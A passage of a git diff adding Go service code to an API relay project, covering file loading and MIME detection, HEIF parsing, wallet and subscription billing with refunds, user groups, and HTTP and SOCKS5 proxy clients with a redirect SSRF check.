+		return source.GetCache(), nil
+	}
+
+	// 4. 根据来源类型加载（含 URL context 缓存查找）
+	var cachedData *types.CachedFileData
+	var contextKey string
+	var err error
+
+	switch s := source.(type) {
+	case *types.URLSource:
+		if c != nil {
+			contextKey = getContextCacheKey(s.URL)
+			if cached, exists := c.Get(contextKey); exists {
+				data := cached.(*types.CachedFileData)
+				source.SetCache(data)
+				registerSourceForCleanup(c, source)
+				return data, nil
+			}
+		}
+		cachedData, err = loadFromURL(c, s.URL, reason...)
+	case *types.Base64Source:
+		if c != nil {
+			contextKey = getBase64ContextCacheKey(s.Base64Data, s.MimeType)
+			if cached, exists := c.Get(contextKey); exists {
+				data := cached.(*types.CachedFileData)
+				source.SetCache(data)
+				registerSourceForCleanup(c, source)
+				return data, nil
+			}
+		}
+		cachedData, err = loadFromBase64(s.Base64Data, s.MimeType)
+	default:
+		return nil, fmt.Errorf("unsupported file source type: %T", source)
+	}
+
+	if err != nil {
+		return nil, err
+	}
+
+	// 5. 设置缓存
+	source.SetCache(cachedData)
+	if contextKey != "" && c != nil {
+		c.Set(contextKey, cachedData)
+	}
+
+	// 6. 注册到 context 以便请求结束时自动清理
+	if c != nil {
+		registerSourceForCleanup(c, source)
+	}
+
+	return cachedData, nil
+}
+
+// registerSourceForCleanup 注册 FileSource 到 context 以便请求结束时清理
+func registerSourceForCleanup(c *gin.Context, source types.FileSource) {
+	if source.IsRegistered() {
+		return
+	}
+
+	key := string(constant.ContextKeyFileSourcesToCleanup)
+	var sources []types.FileSource
+	if existing, exists := c.Get(key); exists {
+		sources = existing.([]types.FileSource)
+	}
+	sources = append(sources, source)
+	c.Set(key, sources)
+	source.SetRegistered(true)
+}
+
+// CleanupFileSources 清理请求中所有注册的 FileSource
+// 应在请求结束时调用（通常由中间件自动调用）
+func CleanupFileSources(c *gin.Context) {
+	key := string(constant.ContextKeyFileSourcesToCleanup)
+	if sources, exists := c.Get(key); exists {
+		for _, source := range sources.([]types.FileSource) {
+			if cache := source.GetCache(); cache != nil {
+				cache.Close()
+			}
+		}
+		c.Set(key, nil)
+	}
+}
+
+// loadFromURL 从 URL 加载文件
+func loadFromURL(c *gin.Context, url string, reason ...string) (*types.CachedFileData, error) {
+	// 下载文件
+	var maxFileSize = constant.MaxFileDownloadMB * 1024 * 1024
+
+	if common.DebugEnabled {
+		logger.LogDebug(c, "loadFromURL: initiating download")
+	}
+	resp, err := DoDownloadRequest(url, reason...)
+	if err != nil {
+		return nil, fmt.Errorf("failed to download file from %s: %w", url, err)
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != 200 {
+		return nil, fmt.Errorf("failed to download file, status code: %d", resp.StatusCode)
+	}
+
+	// 读取文件内容（限制大小）
+	if common.DebugEnabled {
+		logger.LogDebug(c, "loadFromURL: reading response body")
+	}
+	fileBytes, err := io.ReadAll(io.LimitReader(resp.Body, int64(maxFileSize+1)))
+	if err != nil {
+		return nil, fmt.Errorf("failed to read file content: %w", err)
+	}
+	if len(fileBytes) > maxFileSize {
+		return nil, fmt.Errorf("file size exceeds maximum allowed size: %dMB", constant.MaxFileDownloadMB)
+	}
+
+	// 转换为 base64
+	base64Data := base64.StdEncoding.EncodeToString(fileBytes)
+
+	// 智能获取 MIME 类型
+	mimeType := smartDetectMimeType(resp, url, fileBytes)
+
+	// 判断是否使用磁盘缓存
+	base64Size := int64(len(base64Data))
+	var cachedData *types.CachedFileData
+
+	if shouldUseDiskCache(base64Size) {
+		// 使用磁盘缓存
+		diskPath, err := writeToDiskCache(base64Data)
+		if err != nil {
+			// 磁盘缓存失败，回退到内存
+			logger.LogWarn(c, fmt.Sprintf("Failed to write to disk cache, falling back to memory: %v", err))
+			cachedData = types.NewMemoryCachedData(base64Data, mimeType, int64(len(fileBytes)))
+		} else {
+			cachedData = types.NewDiskCachedData(diskPath, mimeType, int64(len(fileBytes)))
+			cachedData.DiskSize = base64Size
+			cachedData.OnClose = func(size int64) {
+				common.DecrementDiskFiles(size)
+			}
+			common.IncrementDiskFiles(base64Size)
+			if common.DebugEnabled {
+				logger.LogDebug(c, fmt.Sprintf("File cached to disk: %s, size: %d bytes", diskPath, base64Size))
+			}
+		}
+	} else {
+		// 使用内存缓存
+		cachedData = types.NewMemoryCachedData(base64Data, mimeType, int64(len(fileBytes)))
+	}
+
+	// 如果是图片，尝试获取图片配置
+	if strings.HasPrefix(mimeType, "image/") {
+		if common.DebugEnabled {
+			logger.LogDebug(c, "loadFromURL: decoding image config")
+		}
+		config, format, err := decodeImageConfig(fileBytes)
+		if err == nil {
+			cachedData.ImageConfig = &config
+			cachedData.ImageFormat = format
+			// 如果通过图片解码获取了更准确的格式，更新 MIME 类型
+			if mimeType == "application/octet-stream" || mimeType == "" {
+				cachedData.MimeType = "image/" + format
+			}
+		}
+	}
+
+	return cachedData, nil
+}
+
+// shouldUseDiskCache 判断是否应该使用磁盘缓存
+func shouldUseDiskCache(dataSize int64) bool {
+	return common.ShouldUseDiskCache(dataSize)
+}
+
+// writeToDiskCache 将数据写入磁盘缓存
+func writeToDiskCache(base64Data string) (string, error) {
+	return common.WriteDiskCacheFileString(common.DiskCacheTypeFile, base64Data)
+}
+
+// smartDetectMimeType 智能检测 MIME 类型
+func smartDetectMimeType(resp *http.Response, url string, fileBytes []byte) string {
+	// 1. 尝试从 Content-Type header 获取
+	mimeType := resp.Header.Get("Content-Type")
+	if idx := strings.Index(mimeType, ";"); idx != -1 {
+		mimeType = strings.TrimSpace(mimeType[:idx])
+	}
+	if mimeType != "" && mimeType != "application/octet-stream" {
+		return mimeType
+	}
+
+	// 2. 尝试从 Content-Disposition header 的 filename 获取
+	if cd := resp.Header.Get("Content-Disposition"); cd != "" {
+		parts := strings.Split(cd, ";")
+		for _, part := range parts {
+			part = strings.TrimSpace(part)
+			if strings.HasPrefix(strings.ToLower(part), "filename=") {
+				name := strings.TrimSpace(strings.TrimPrefix(part, "filename="))
+				// 移除引号
+				if len(name) > 2 && name[0] == '"' && name[len(name)-1] == '"' {
+					name = name[1 : len(name)-1]
+				}
+				if dot := strings.LastIndex(name, "."); dot != -1 && dot+1 < len(name) {
+					ext := strings.ToLower(name[dot+1:])
+					if ext != "" {
+						mt := GetMimeTypeByExtension(ext)
+						if mt != "application/octet-stream" {
+							return mt
+						}
+					}
+				}
+				break
+			}
+		}
+	}
+
+	// 3. 尝试从 URL 路径获取扩展名
+	mt := guessMimeTypeFromURL(url)
+	if mt != "application/octet-stream" {
+		return mt
+	}
+
+	// 4. 使用 http.DetectContentType 内容嗅探
+	if len(fileBytes) > 0 {
+		sniffed := http.DetectContentType(fileBytes)
+		if sniffed != "" && sniffed != "application/octet-stream" {
+			// 去除可能的 charset 参数
+			if idx := strings.Index(sniffed, ";"); idx != -1 {
+				sniffed = strings.TrimSpace(sniffed[:idx])
+			}
+			return sniffed
+		}
+
+		// 4.5 尝试 HEIF/HEIC 检测（Go 标准库不识别）
+		if heifMime := detectHEIF(fileBytes); heifMime != "" {
+			return heifMime
+		}
+	}
+
+	// 5. 尝试作为图片解码获取格式
+	if len(fileBytes) > 0 {
+		if _, format, err := decodeImageConfig(fileBytes); err == nil && format != "" {
+			return "image/" + strings.ToLower(format)
+		}
+	}
+
+	// 最终回退
+	return "application/octet-stream"
+}
+
+// loadFromBase64 从 base64 字符串加载文件
+func loadFromBase64(base64String string, providedMimeType string) (*types.CachedFileData, error) {
+	var mimeType string
+	var cleanBase64 string
+
+	// 处理 data: 前缀
+	if strings.HasPrefix(base64String, "data:") {
+		idx := strings.Index(base64String, ",")
+		if idx != -1 {
+			header := base64String[:idx]
+			cleanBase64 = base64String[idx+1:]
+
+			if strings.Contains(header, ":") && strings.Contains(header, ";") {
+				mimeStart := strings.Index(header, ":") + 1
+				mimeEnd := strings.Index(header, ";")
+				if mimeStart < mimeEnd {
+					mimeType = header[mimeStart:mimeEnd]
+				}
+			}
+		} else {
+			cleanBase64 = base64String
+		}
+	} else {
+		cleanBase64 = base64String
+	}
+
+	if providedMimeType != "" {
+		mimeType = providedMimeType
+	}
+
+	decodedData, err := base64.StdEncoding.DecodeString(cleanBase64)
+	if err != nil {
+		return nil, fmt.Errorf("failed to decode base64 data: %w", err)
+	}
+
+	base64Size := int64(len(cleanBase64))
+	var cachedData *types.CachedFileData
+
+	if shouldUseDiskCache(base64Size) {
+		diskPath, err := writeToDiskCache(cleanBase64)
+		if err != nil {
+			cachedData = types.NewMemoryCachedData(cleanBase64, mimeType, int64(len(decodedData)))
+		} else {
+			cachedData = types.NewDiskCachedData(diskPath, mimeType, int64(len(decodedData)))
+			cachedData.DiskSize = base64Size
+			cachedData.OnClose = func(size int64) {
+				common.DecrementDiskFiles(size)
+			}
+			common.IncrementDiskFiles(base64Size)
+		}
+	} else {
+		cachedData = types.NewMemoryCachedData(cleanBase64, mimeType, int64(len(decodedData)))
+	}
+
+	if mimeType == "" || strings.HasPrefix(mimeType, "image/") {
+		config, format, err := decodeImageConfig(decodedData)
+		if err == nil {
+			cachedData.ImageConfig = &config
+			cachedData.ImageFormat = format
+			if mimeType == "" {
+				cachedData.MimeType = "image/" + format
+			}
+		}
+	}
+
+	return cachedData, nil
+}
+
+// GetImageConfig 获取图片配置
+func GetImageConfig(c *gin.Context, source types.FileSource) (image.Config, string, error) {
+	cachedData, err := LoadFileSource(c, source, "get_image_config")
+	if err != nil {
+		return image.Config{}, "", err
+	}
+
+	if cachedData.ImageConfig != nil {
+		return *cachedData.ImageConfig, cachedData.ImageFormat, nil
+	}
+
+	base64Str, err := cachedData.GetBase64Data()
+	if err != nil {
+		return image.Config{}, "", fmt.Errorf("failed to get base64 data: %w", err)
+	}
+	decodedData, err := base64.StdEncoding.DecodeString(base64Str)
+	if err != nil {
+		return image.Config{}, "", fmt.Errorf("failed to decode base64 for image config: %w", err)
+	}
+
+	config, format, err := decodeImageConfig(decodedData)
+	if err != nil {
+		return image.Config{}, "", err
+	}
+
+	cachedData.ImageConfig = &config
+	cachedData.ImageFormat = format
+
+	return config, format, nil
+}
+
+// GetBase64Data 获取 base64 编码的数据
+func GetBase64Data(c *gin.Context, source types.FileSource, reason ...string) (string, string, error) {
+	cachedData, err := LoadFileSource(c, source, reason...)
+	if err != nil {
+		return "", "", err
+	}
+	base64Str, err := cachedData.GetBase64Data()
+	if err != nil {
+		return "", "", fmt.Errorf("failed to get base64 data: %w", err)
+	}
+	return base64Str, cachedData.MimeType, nil
+}
+
+// GetMimeType 获取文件的 MIME 类型
+func GetMimeType(c *gin.Context, source types.FileSource) (string, error) {
+	if source.HasCache() {
+		return source.GetCache().MimeType, nil
+	}
+
+	if urlSource, ok := source.(*types.URLSource); ok {
+		mimeType, err := GetFileTypeFromUrl(c, urlSource.URL, "get_mime_type")
+		if err == nil && mimeType != "" && mimeType != "application/octet-stream" {
+			return mimeType, nil
+		}
+	}
+
+	cachedData, err := LoadFileSource(c, source, "get_mime_type")
+	if err != nil {
+		return "", err
+	}
+	return cachedData.MimeType, nil
+}
+
+// DetectFileType 检测文件类型
+func DetectFileType(mimeType string) types.FileType {
+	if strings.HasPrefix(mimeType, "image/") {
+		return types.FileTypeImage
+	}
+	if strings.HasPrefix(mimeType, "audio/") {
+		return types.FileTypeAudio
+	}
+	if strings.HasPrefix(mimeType, "video/") {
+		return types.FileTypeVideo
+	}
+	return types.FileTypeFile
+}
+
+// decodeImageConfig 从字节数据解码图片配置
+func decodeImageConfig(data []byte) (image.Config, string, error) {
+	reader := bytes.NewReader(data)
+
+	config, format, err := image.DecodeConfig(reader)
+	if err == nil {
+		return config, format, nil
+	}
+
+	reader.Seek(0, io.SeekStart)
+	config, err = webp.DecodeConfig(reader)
+	if err == nil {
+		return config, "webp", nil
+	}
+
+	// Try HEIF/HEIC: parse ISOBMFF ispe box for dimensions
+	if heifMime := detectHEIF(data); heifMime != "" {
+		formatName := "heif"
+		if heifMime == "image/heic" {
+			formatName = "heic"
+		}
+		if w, h, ok := parseHEIFDimensions(data); ok {
+			return image.Config{Width: w, Height: h}, formatName, nil
+		}
+		return image.Config{}, "", fmt.Errorf("failed to decode HEIF/HEIC image dimensions")
+	}
+
+	return image.Config{}, "", fmt.Errorf("failed to decode image config: unsupported format")
+}
+
+// detectHEIF checks ISOBMFF magic bytes to detect HEIC/HEIF files.
+// Returns "image/heic", "image/heif", or "" if not recognized.
+func detectHEIF(data []byte) string {
+	if len(data) < 12 {
+		return ""
+	}
+	// ISOBMFF: bytes[4:8] must be "ftyp"
+	if string(data[4:8]) != "ftyp" {
+		return ""
+	}
+	brand := string(data[8:12])
+	switch brand {
+	case "heic", "heix", "hevc", "hevx", "heim", "heis":
+		return "image/heic"
+	case "mif1", "msf1":
+		return "image/heif"
+	default:
+		return ""
+	}
+}
+
+// parseHEIFDimensions parses ISOBMFF box tree to find the ispe box
+// and extract image width/height. Returns (width, height, ok).
+func parseHEIFDimensions(data []byte) (int, int, bool) {
+	size := len(data)
+	if size < 12 {
+		return 0, 0, false
+	}
+
+	// Walk top-level boxes to find "meta"
+	offset := 0
+	for offset+8 <= size {
+		boxSize := int(binary.BigEndian.Uint32(data[offset : offset+4]))
+		boxType := string(data[offset+4 : offset+8])
+		headerLen := 8
+
+		if boxSize == 1 {
+			// 64-bit extended size
+			if offset+16 > size {
+				break
+			}
+			boxSize = int(binary.BigEndian.Uint64(data[offset+8 : offset+16]))
+			headerLen = 16
+		} else if boxSize == 0 {
+			// box extends to end of data
+			boxSize = size - offset
+		}
+
+		if boxSize < headerLen || offset+boxSize > size {
+			break
+		}
+
+		if boxType == "meta" {
+			// meta is a full box: 4 bytes version/flags after header
+			metaData := data[offset+headerLen : offset+boxSize]
+			if len(metaData) < 4 {
+				return 0, 0, false
+			}
+			return findISPE(metaData[4:])
+		}
+		offset += boxSize
+	}
+	return 0, 0, false
+}
+
+// findISPE recursively searches for the ispe box within container boxes.
+// Path: meta -> iprp -> ipco -> ispe
+func findISPE(data []byte) (int, int, bool) {
+	offset := 0
+	size := len(data)
+	for offset+8 <= size {
+		boxSize := int(binary.BigEndian.Uint32(data[offset : offset+4]))
+		boxType := string(data[offset+4 : offset+8])
+		if boxSize < 8 || offset+boxSize > size {
+			break
+		}
+		content := data[offset+8 : offset+boxSize]
+		switch boxType {
+		case "iprp", "ipco":
+			if w, h, ok := findISPE(content); ok {
+				return w, h, true
+			}
+		case "ispe":
+			// ispe is a full box: 4 bytes version/flags, then 4 bytes width, 4 bytes height
+			if len(content) >= 12 {
+				w := int(binary.BigEndian.Uint32(content[4:8]))
+				h := int(binary.BigEndian.Uint32(content[8:12]))
+				if w > 0 && h > 0 {
+					return w, h, true
+				}
+			}
+		}
+		offset += boxSize
+	}
+	return 0, 0, false
+}
+
+// guessMimeTypeFromURL 从 URL 猜测 MIME 类型
+func guessMimeTypeFromURL(url string) string {
+	cleanedURL := url
+	if q := strings.Index(cleanedURL, "?"); q != -1 {
+		cleanedURL = cleanedURL[:q]
+	}
+
+	if slash := strings.LastIndex(cleanedURL, "/"); slash != -1 && slash+1 < len(cleanedURL) {
+		last := cleanedURL[slash+1:]
+		if dot := strings.LastIndex(last, "."); dot != -1 && dot+1 < len(last) {
+			ext := strings.ToLower(last[dot+1:])
+			return GetMimeTypeByExtension(ext)
+		}
+	}
+
+	return "application/octet-stream"
+}
diff --git a/new-api/service/funding_source.go b/new-api/service/funding_source.go
new file mode 100644
index 0000000..fc629c8
--- /dev/null
+++ b/new-api/service/funding_source.go
@@ -0,0 +1,139 @@
+package service
+
+import (
+	"time"
+
+	"github.com/QuantumNous/new-api/model"
+)
+
+// ---------------------------------------------------------------------------
+// FundingSource — 资金来源接口（钱包 or 订阅）
+// ---------------------------------------------------------------------------
+
+// FundingSource 抽象了预扣费的资金来源。
+type FundingSource interface {
+	// Source 返回资金来源标识："wallet" 或 "subscription"
+	Source() string
+	// PreConsume 从该资金来源预扣 amount 额度
+	PreConsume(amount int) error
+	// Settle 根据差额调整资金来源（正数补扣，负数退还）
+	Settle(delta int) error
+	// Refund 退还所有预扣费
+	Refund() error
+}
+
+// ---------------------------------------------------------------------------
+// WalletFunding — 钱包资金来源实现
+// ---------------------------------------------------------------------------
+
+type WalletFunding struct {
+	userId   int
+	consumed int // 实际预扣的用户额度
+}
+
+func (w *WalletFunding) Source() string { return BillingSourceWallet }
+
+func (w *WalletFunding) PreConsume(amount int) error {
+	if amount <= 0 {
+		return nil
+	}
+	if err := model.DecreaseUserQuota(w.userId, amount, false); err != nil {
+		return err
+	}
+	w.consumed = amount
+	return nil
+}
+
+func (w *WalletFunding) Settle(delta int) error {
+	if delta == 0 {
+		return nil
+	}
+	if delta > 0 {
+		return model.DecreaseUserQuota(w.userId, delta, false)
+	}
+	return model.IncreaseUserQuota(w.userId, -delta, false)
+}
+
+func (w *WalletFunding) Refund() error {
+	if w.consumed <= 0 {
+		return nil
+	}
+	// IncreaseUserQuota 是 quota += N 的非幂等操作，不能重试，否则会多退额度。
+	// 订阅的 RefundSubscriptionPreConsume 有 requestId 幂等保护所以可以重试。
+	return model.IncreaseUserQuota(w.userId, w.consumed, false)
+}
+
+// ---------------------------------------------------------------------------
+// SubscriptionFunding — 订阅资金来源实现
+// ---------------------------------------------------------------------------
+
+type SubscriptionFunding struct {
+	requestId      string
+	userId         int
+	modelName      string
+	amount         int64 // 预扣的订阅额度（subConsume）
+	subscriptionId int
+	preConsumed    int64
+	// 以下字段在 PreConsume 成功后填充，供 RelayInfo 同步使用
+	AmountTotal     int64
+	AmountUsedAfter int64
+	PlanId          int
+	PlanTitle       string
+}
+
+func (s *SubscriptionFunding) Source() string { return BillingSourceSubscription }
+
+func (s *SubscriptionFunding) PreConsume(_ int) error {
+	// amount 参数被忽略，使用内部 s.amount（已在构造时根据 preConsumedQuota 计算）
+	res, err := model.PreConsumeUserSubscription(s.requestId, s.userId, s.modelName, 0, s.amount)
+	if err != nil {
+		return err
+	}
+	s.subscriptionId = res.UserSubscriptionId
+	s.preConsumed = res.PreConsumed
+	s.AmountTotal = res.AmountTotal
+	s.AmountUsedAfter = res.AmountUsedAfter
+	// 获取订阅计划信息
+	if planInfo, err := model.GetSubscriptionPlanInfoByUserSubscriptionId(res.UserSubscriptionId); err == nil && planInfo != nil {
+		s.PlanId = planInfo.PlanId
+		s.PlanTitle = planInfo.PlanTitle
+	}
+	return nil
+}
+
+func (s *SubscriptionFunding) Settle(delta int) error {
+	if delta == 0 {
+		return nil
+	}
+	return model.PostConsumeUserSubscriptionDelta(s.subscriptionId, int64(delta))
+}
+
+func (s *SubscriptionFunding) Refund() error {
+	if s.preConsumed <= 0 {
+		return nil
+	}
+	return refundWithRetry(func() error {
+		return model.RefundSubscriptionPreConsume(s.requestId)
+	})
+}
+
+// refundWithRetry 尝试多次执行退款操作以提高成功率，只能用于基于事务的退款函数！！！！！！
+// try to refund with retries, only for refund functions based on transactions!!!
+func refundWithRetry(fn func() error) error {
+	if fn == nil {
+		return nil
+	}
+	const maxAttempts = 3
+	var lastErr error
+	for i := 0; i < maxAttempts; i++ {
+		if err := fn(); err == nil {
+			return nil
+		} else {
+			lastErr = err
+		}
+		if i < maxAttempts-1 {
+			time.Sleep(time.Duration(200*(i+1)) * time.Millisecond)
+		}
+	}
+	return lastErr
+}
diff --git a/new-api/service/group.go b/new-api/service/group.go
new file mode 100644
index 0000000..a73642c
--- /dev/null
+++ b/new-api/service/group.go
@@ -0,0 +1,65 @@
+package service
+
+import (
+	"strings"
+
+	"github.com/QuantumNous/new-api/setting"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+)
+
+func GetUserUsableGroups(userGroup string) map[string]string {
+	groupsCopy := setting.GetUserUsableGroupsCopy()
+	if userGroup != "" {
+		specialSettings, b := ratio_setting.GetGroupRatioSetting().GroupSpecialUsableGroup.Get(userGroup)
+		if b {
+			// 处理特殊可用分组
+			for specialGroup, desc := range specialSettings {
+				if strings.HasPrefix(specialGroup, "-:") {
+					// 移除分组
+					groupToRemove := strings.TrimPrefix(specialGroup, "-:")
+					delete(groupsCopy, groupToRemove)
+				} else if strings.HasPrefix(specialGroup, "+:") {
+					// 添加分组
+					groupToAdd := strings.TrimPrefix(specialGroup, "+:")
+					groupsCopy[groupToAdd] = desc
+				} else {
+					// 直接添加分组
+					groupsCopy[specialGroup] = desc
+				}
+			}
+		}
+		// 如果userGroup不在UserUsableGroups中，返回UserUsableGroups + userGroup
+		if _, ok := groupsCopy[userGroup]; !ok {
+			groupsCopy[userGroup] = "用户分组"
+		}
+	}
+	return groupsCopy
+}
+
+func GroupInUserUsableGroups(userGroup, groupName string) bool {
+	_, ok := GetUserUsableGroups(userGroup)[groupName]
+	return ok
+}
+
+// GetUserAutoGroup 根据用户分组获取自动分组设置
+func GetUserAutoGroup(userGroup string) []string {
+	groups := GetUserUsableGroups(userGroup)
+	autoGroups := make([]string, 0)
+	for _, group := range setting.GetAutoGroups() {
+		if _, ok := groups[group]; ok {
+			autoGroups = append(autoGroups, group)
+		}
+	}
+	return autoGroups
+}
+
+// GetUserGroupRatio 获取用户使用某个分组的倍率
+// userGroup 用户分组
+// group 需要获取倍率的分组
+func GetUserGroupRatio(userGroup, group string) float64 {
+	ratio, ok := ratio_setting.GetGroupGroupRatio(userGroup, group)
+	if ok {
+		return ratio
+	}
+	return ratio_setting.GetGroupRatio(group)
+}
diff --git a/new-api/service/http.go b/new-api/service/http.go
new file mode 100644
index 0000000..f80f2c3
--- /dev/null
+++ b/new-api/service/http.go
@@ -0,0 +1,61 @@
+package service
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"net/http"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+
+	"github.com/gin-gonic/gin"
+)
+
+func CloseResponseBodyGracefully(httpResponse *http.Response) {
+	if httpResponse == nil || httpResponse.Body == nil {
+		return
+	}
+	err := httpResponse.Body.Close()
+	if err != nil {
+		common.SysError("failed to close response body: " + err.Error())
+	}
+}
+
+func IOCopyBytesGracefully(c *gin.Context, src *http.Response, data []byte) {
+	if c.Writer == nil {
+		return
+	}
+
+	body := io.NopCloser(bytes.NewBuffer(data))
+
+	// We shouldn't set the header before we parse the response body, because the parse part may fail.
+	// And then we will have to send an error response, but in this case, the header has already been set.
+	// So the httpClient will be confused by the response.
+	// For example, Postman will report error, and we cannot check the response at all.
+	if src != nil {
+		for k, v := range src.Header {
+			// avoid setting Content-Length
+			if k == "Content-Length" {
+				continue
+			}
+			c.Writer.Header().Set(k, v[0])
+		}
+	}
+
+	// set Content-Length header manually BEFORE calling WriteHeader
+	c.Writer.Header().Set("Content-Length", fmt.Sprintf("%d", len(data)))
+
+	// Write header with status code (this sends the headers)
+	if src != nil {
+		c.Writer.WriteHeader(src.StatusCode)
+	} else {
+		c.Writer.WriteHeader(http.StatusOK)
+	}
+
+	_, err := io.Copy(c.Writer, body)
+	if err != nil {
+		logger.LogError(c, fmt.Sprintf("failed to copy response body: %s", err.Error()))
+	}
+	c.Writer.Flush()
+}
diff --git a/new-api/service/http_client.go b/new-api/service/http_client.go
new file mode 100644
index 0000000..2c3168f
--- /dev/null
+++ b/new-api/service/http_client.go
@@ -0,0 +1,169 @@
+package service
+
+import (
+	"context"
+	"fmt"
+	"net"
+	"net/http"
+	"net/url"
+	"sync"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+
+	"golang.org/x/net/proxy"
+)
+
+var (
+	httpClient      *http.Client
+	proxyClientLock sync.Mutex
+	proxyClients    = make(map[string]*http.Client)
+)
+
+func checkRedirect(req *http.Request, via []*http.Request) error {
+	fetchSetting := system_setting.GetFetchSetting()
+	urlStr := req.URL.String()
+	if err := common.ValidateURLWithFetchSetting(urlStr, fetchSetting.EnableSSRFProtection, fetchSetting.AllowPrivateIp, fetchSetting.DomainFilterMode, fetchSetting.IpFilterMode, fetchSetting.DomainList, fetchSetting.IpList, fetchSetting.AllowedPorts, fetchSetting.ApplyIPFilterForDomain); err != nil {
+		return fmt.Errorf("redirect to %s blocked: %v", urlStr, err)
+	}
+	if len(via) >= 10 {
+		return fmt.Errorf("stopped after 10 redirects")
+	}
+	return nil
+}
+
+func InitHttpClient() {
+	transport := &http.Transport{
+		MaxIdleConns:        common.RelayMaxIdleConns,
+		MaxIdleConnsPerHost: common.RelayMaxIdleConnsPerHost,
+		ForceAttemptHTTP2:   true,
+		Proxy:               http.ProxyFromEnvironment, // Support HTTP_PROXY, HTTPS_PROXY, NO_PROXY env vars
+	}
+	if common.TLSInsecureSkipVerify {
+		transport.TLSClientConfig = common.InsecureTLSConfig
+	}
+
+	if common.RelayTimeout == 0 {
+		httpClient = &http.Client{
+			Transport:     transport,
+			CheckRedirect: checkRedirect,
+		}
+	} else {
+		httpClient = &http.Client{
+			Transport:     transport,
+			Timeout:       time.Duration(common.RelayTimeout) * time.Second,
+			CheckRedirect: checkRedirect,
+		}
+	}
+}
+
+func GetHttpClient() *http.Client {
+	return httpClient
+}
+
+// GetHttpClientWithProxy returns the default client or a proxy-enabled one when proxyURL is provided.
+func GetHttpClientWithProxy(proxyURL string) (*http.Client, error) {
+	if proxyURL == "" {
+		return GetHttpClient(), nil
+	}
+	return NewProxyHttpClient(proxyURL)
+}
+
+// ResetProxyClientCache 清空代理客户端缓存，确保下次使用时重新初始化
+func ResetProxyClientCache() {
+	proxyClientLock.Lock()
+	defer proxyClientLock.Unlock()
+	for _, client := range proxyClients {
+		if transport, ok := client.Transport.(*http.Transport); ok && transport != nil {
+			transport.CloseIdleConnections()
+		}
+	}
+	proxyClients = make(map[string]*http.Client)
+}
+
+// NewProxyHttpClient 创建支持代理的 HTTP 客户端
+func NewProxyHttpClient(proxyURL string) (*http.Client, error) {
+	if proxyURL == "" {
+		if client := GetHttpClient(); client != nil {
+			return client, nil
+		}
+		return http.DefaultClient, nil
+	}
+
+	proxyClientLock.Lock()
+	if client, ok := proxyClients[proxyURL]; ok {
+		proxyClientLock.Unlock()
+		return client, nil
+	}
+	proxyClientLock.Unlock()
+
+	parsedURL, err := url.Parse(proxyURL)
+	if err != nil {
+		return nil, err
+	}
+
+	switch parsedURL.Scheme {
+	case "http", "https":
+		transport := &http.Transport{
+			MaxIdleConns:        common.RelayMaxIdleConns,
+			MaxIdleConnsPerHost: common.RelayMaxIdleConnsPerHost,
+			ForceAttemptHTTP2:   true,
+			Proxy:               http.ProxyURL(parsedURL),
+		}
+		if common.TLSInsecureSkipVerify {
+			transport.TLSClientConfig = common.InsecureTLSConfig
+		}
+		client := &http.Client{
+			Transport:     transport,
+			CheckRedirect: checkRedirect,
+		}
+		client.Timeout = time.Duration(common.RelayTimeout) * time.Second
+		proxyClientLock.Lock()
+		proxyClients[proxyURL] = client
+		proxyClientLock.Unlock()
+		return client, nil
+
+	case "socks5", "socks5h":
+		// 获取认证信息
+		var auth *proxy.Auth
+		if parsedURL.User != nil {
+			auth = &proxy.Auth{
+				User:     parsedURL.User.Username(),
+				Password: "",
+			}
+			if password, ok := parsedURL.User.Password(); ok {
+				auth.Password = password
+			}
+		}
+
+		// 创建 SOCKS5 代理拨号器
+		// proxy.SOCKS5 使用 tcp 参数，所有 TCP 连接包括 DNS 查询都将通过代理进行。行为与 socks5h 相同
+		dialer, err := proxy.SOCKS5("tcp", parsedURL.Host, auth, proxy.Direct)
+		if err != nil {
+			return nil, err
+		}
+
+		transport := &http.Transport{
+			MaxIdleConns:        common.RelayMaxIdleConns,
+			MaxIdleConnsPerHost: common.RelayMaxIdleConnsPerHost,
+			ForceAttemptHTTP2:   true,
+			DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
+				return dialer.Dial(network, addr)
+			},
+		}
+		if common.TLSInsecureSkipVerify {
+			transport.TLSClientConfig = common.InsecureTLSConfig
+		}
+
+		client := &http.Client{Transport: transport, CheckRedirect: checkRedirect}
+		client.Timeout = time.Duration(common.RelayTimeout) * time.Second
+		proxyClientLock.Lock()
+		proxyClients[proxyURL] = client
+		proxyClientLock.Unlock()
+		return client, nil
+
+	default:
+		return nil, fmt.Errorf("unsupported proxy scheme: %s, must be http, https, socks5 or socks5h", parsedURL.Scheme)
+	}
+}
diff --git a/new-api/service/image.go b/new-api/service/image.go
new file mode 100644
index 0000000..66181f6
--- /dev/null
+++ b/new-api/service/image.go
@@ -0,0 +1,194 @@
+package service
+
+import (
+	"bytes"
+	"encoding/base64"
+	"errors"
+	"fmt"
+	"image"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+
+	"golang.org/x/image/webp"
+)
+
+// return image.Config, format, clean base64 string, error
+func DecodeBase64ImageData(base64String string) (image.Config, string, string, error) {
+	// 去除base64数据的URL前缀（如果有）
+	if idx := strings.Index(base64String, ","); idx != -1 {
+		base64String = base64String[idx+1:]
+	}
+
+	if len(base64String) == 0 {
+		return image.Config{}, "", "", errors.New("base64 string is empty")
+	}
+
+	// 将base64字符串解码为字节切片
+	decodedData, err := base64.StdEncoding.DecodeString(base64String)
+	if err != nil {
+		fmt.Println("Error: Failed to decode base64 string")
+		return image.Config{}, "", "", fmt.Errorf("failed to decode base64 string: %s", err.Error())
+	}
+
+	// 创建一个bytes.Buffer用于存储解码后的数据
+	reader := bytes.NewReader(decodedData)
+	config, format, err := getImageConfig(reader)
+	return config, format, base64String, err
+}
+
+func DecodeBase64FileData(base64String string) (string, string, error) {
+	var mimeType string
+	var idx int
+	idx = strings.Index(base64String, ",")
+	if idx == -1 {
+		_, file_type, base64, err := DecodeBase64ImageData(base64String)
+		return "image/" + file_type, base64, err
+	}
+	mimeType = base64String[:idx]
+	base64String = base64String[idx+1:]
+	idx = strings.Index(mimeType, ";")
+	if idx == -1 {
